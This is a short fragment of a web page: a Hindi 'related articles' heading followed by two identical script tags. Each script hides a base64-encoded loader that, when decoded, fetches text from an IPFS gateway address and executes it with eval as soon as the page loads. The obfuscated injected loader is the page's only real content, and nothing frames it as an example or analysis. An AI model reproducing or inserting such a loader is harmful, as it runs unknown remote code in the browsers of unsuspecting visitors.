संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>